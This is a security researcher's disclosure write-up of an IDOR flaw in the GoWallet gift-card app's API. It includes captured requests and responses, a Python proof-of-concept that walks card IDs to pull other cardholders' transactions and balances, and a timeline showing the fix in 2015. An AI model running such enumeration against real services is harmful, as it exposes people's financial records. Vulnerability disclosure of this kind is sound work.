I recently received a Visa Gift Card and decided to use GoWallet to manage it, as advertised on the card’s packaging. GoWallet offers the ability to manage most types of gift cards, allowing a user to view their card’s current balance and past transactions.

I signed up on their website and associated the card to my account. Next, I downloaded the app and started to review the API requests while exploring the card management features.

Most of the requests looked normal, but the process for reviewing transactions seemed interesting. Though my transactions didn’t actually appear in the app (an issue in the app I assumed), I noticed the API requests were still returning them behind the scenes.

In order to request a card’s transactions, the app first authenticates the card and receives a usertoken ; this was in addition to the user having already authenticated to the app itself (identified by the BHN-User-Token ). The user’s zip code, card number, and last four of their phone number were required in order to receive the token (the user is not prompted for these).

POST https://gowallet-api.blackhawknetwork.com/v1/bliss/authenticateAccount HTTP/1.1 User-Agent: com.bhnetwork.wallet/2.5 (13) Accept: */* Accept-Charset: utf-8,* BHN-User-Token: ***REMOVED*** BHN-Channel: ANDROID Content-Type: application/x-www-form-urlencoded Host: gowallet-api.blackhawknetwork.com Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 98 card.profile.address.postalcode=***REMOVED***&card.number=***REMOVED***&card.profile.phonelastfour=***REMOVED***

Below is the what a valid token response looked like:

<?xml version="1.0" encoding="UTF-8"?> <response> <statusinfo> <status> <code>ACS_000</code> <description>SUCCESS</description> </status> </statusinfo> <card> <id>1000000000059555872</id> <profile> <id>***REMOVED***</id> </profile> </card> <security> <token>***REMOVED***</token> </security> </response>

Using the returned usertoken , a request was then made to get the transactions for the specified card.

GET https://gowallet-api.blackhawknetwork.com/v1/bliss/transactionHistory?account.transaction.set.filter.enddate=2015-02-15T11%3A41%3A33.071-0500&account.transaction.set.filter.startdate=2014-08-15T11%3A41%3A33.059-0400&card.id=1000000000059555871 HTTP/1.1 User-Agent: com.bhnetwork.wallet/2.5 (13) Accept: */* Accept-Charset: utf-8,* BHN-User-Token: ***REMOVED*** BHN-Channel: ANDROID Content-Type: application/x-www-form-urlencoded usertoken: ***REMOVED*** Host: gowallet-api.blackhawknetwork.com Connection: Keep-Alive Accept-Encoding: gzip

And here’s an example response:

<?xml version="1.0" encoding="UTF-8"?> <response> <statusinfo> <status> <code>ACS_000</code> <description>SUCCESS</description> </status> </statusinfo> <data> <openingBalance>20000</openingBalance> <currency>USD</currency> <ledgerBalance>101</ledgerBalance> <closingBalance>101</closingBalance> <availableBalance>101</availableBalance> </data> <account> <transactions> <transaction> <amount>20000</amount> <transactiondate>2015-02-04T12:00:00.000Z</transactiondate> <auxillarydatas> <auxillarydata> <name>merchant_name</name> <value>709 7th Street NW</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_city</name> <value>WASHINGTON</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_state</name> <value>DC</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_zip</name> <value/> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_number</name> <value>1081</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>retrieval_reference_number</name> <value>133140097429</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>transaction_pos_datetime</name> <value>2015-02-04 18:31:28.14</value> <type>datetime</type> <metadata/> </auxillarydata> <auxillarydata> <name>settlement_amount</name> <value>20000</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> <auxillarydata> <name>authorization_amount</name> <value>20000</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> </auxillarydatas> <flags/> <description>709 7th Street NW</description> <dispute/> <runningbalance>20000</runningbalance> <type>BHN Load-- Activation</type> <postings> <posting> <amount>20000</amount> <description>Value Load</description> <type>credit</type> <currency>USD</currency> <effectivedate>0</effectivedate> </posting> </postings> <auxillarydatacategory>BHN Load-- Activation</auxillarydatacategory> </transaction> <transaction> <amount>-3925</amount> <transactiondate>2015-02-16T12:00:00.000Z</transactiondate> <auxillarydatas> <auxillarydata> <name>merchant_name</name> <value>DEAD PRESIDENTS</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_city</name> <value>WILMINGTON</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_state</name> <value>10</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_zip</name> <value>19805</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_number</name> <value>650000004531920</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>retrieval_reference_number</name> <value>504624001466</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>transaction_pos_datetime</name> <value>2015-02-16 00:28:47.2</value> <type>datetime</type> <metadata/> </auxillarydata> <auxillarydata> <name>settlement_amount</name> <value>3925</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> <auxillarydata> <name>authorization_amount</name> <value>3925</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> </auxillarydatas> <flags/> <description>DEAD PRESIDENTS</description> <dispute/> <runningbalance>10915</runningbalance> <type>Purchase Original Sale</type> <postings> <posting> <amount>3925</amount> <description>Settlement</description> <type>debit</type> <currency>USD</currency> <effectivedate>0</effectivedate> </posting> </postings> <auxillarydatacategory>Purchase Original Sale</auxillarydatacategory> </transaction> </transactions> </account> </response>

Using a two factor authentication scheme is certainly a best practice when dealing with highly sensitive information. The problem is that the other required pieces of information (phone number, zip code) were already being returned by a previous API request, making it useless as a 2FA method. I decided to investigate this endpoint a bit further by creating a test account and attempting to access the transactions of the card under my real account.

Using the same workflow as above, I added an old gift card to my test account and attempted to view the transactions of the card. I then performed the same request, but changing the specified card.id to the one of my real account above. The request successfully returned the transactions, meaning I was able to use my test account’s credentials and token to access a card that didn’t belong to it. This means an attacker could have presumably accessed the transactions of any card in the system by altering the numerical card.id .

I wrote up a proof-of-concept to demonstrate the vulnerability for GoWallet’s engineering team.

import requests import xml.etree.ElementTree as ET """ Any valid card info can be used to fetch the transactions of other cards """ valid_username = "" valid_password = "" valid_zip = "" valid_card = "" valid_phone = "" # Last four of phone limit = 10 headers = {"BHN-Channel": "ANDROID"} def get_bhn_token(): url = "https://gowallet-api.blackhawknetwork.com/v1/loginUser" data = '{"email":"%s","password":"%s"}' % (valid_username, valid_password) req = requests.post(url, data=data, headers=headers) if not 'bhn-user-token' in req.headers: raise(Exception("Error logging in")) return req.headers['bhn-user-token'] def get_security_token(bhn_token): url = "https://gowallet-api.blackhawknetwork.com/v1/bliss/authenticateAccount" payload = "card.profile.address.postalcode=%s&card.number=%s&card.profile.phonelastfour=%s" \ % (valid_zip, valid_card, valid_phone) headers["BHN-User-Token"] = bhn_token req = requests.post(url, data=payload, headers=headers) root = ET.fromstring(req.text) # Get security token security_token = root[2][0].text return security_token # Get BHN-User-Token bhn_token = get_bhn_token() # Get security token headers['usertoken'] = get_security_token(bhn_token=bhn_token) # Grab card transactions cardId = 1000000000059555872 count = 0 while count < limit: url = "https://gowallet-api.blackhawknetwork.com/v1/bliss/transactionHistory?account." \ "transaction.set.filter.enddate=2018-02-23T17%3A36%3A19.742-0500&account." \ "transaction.set.filter.startdate=2000-08-23T17%3A36%3A19.741-0400&" \ "card.id={0}".format(cardId) req = requests.get(url, headers=headers) root = ET.fromstring(req.text) for t in root[2][0]: merchant = t[2][0][1].text amount = t[0].text length = len(amount) - 2 amount = "" + amount[:length] + "." + amount[length:] print "%s: %s" % (merchant, amount) print "---------------------------" print "Available Balance: %s" % root[1][4].text print "---------------------------" cardId -= 1 count += 1

I immediately attempted to reach out to GoWallet (owned by Blackhawk Network) to responsibly disclose the vulnerability. I searched for some security contacts on LinkedIn and got in touch with their CISO, who was extremely responsive. I was kept up-to-date throughout the process; they quickly acknowledged the vulnerability and released a fix.

Disclosure Timeline

2015-02-18: Initial attempt to reach LinkedIn contact

2015-02-23: Response received, direct contact established

2015-02-24: Issue reported and PoC sent

2015-02-25: Vulnerability acknowledged, fix in progress

2015-02-27: Fix pushed live and resolution confirmed

Blackhawk was extremely grateful for the report and sent me a gift card as a token of their appreciation.

Share this: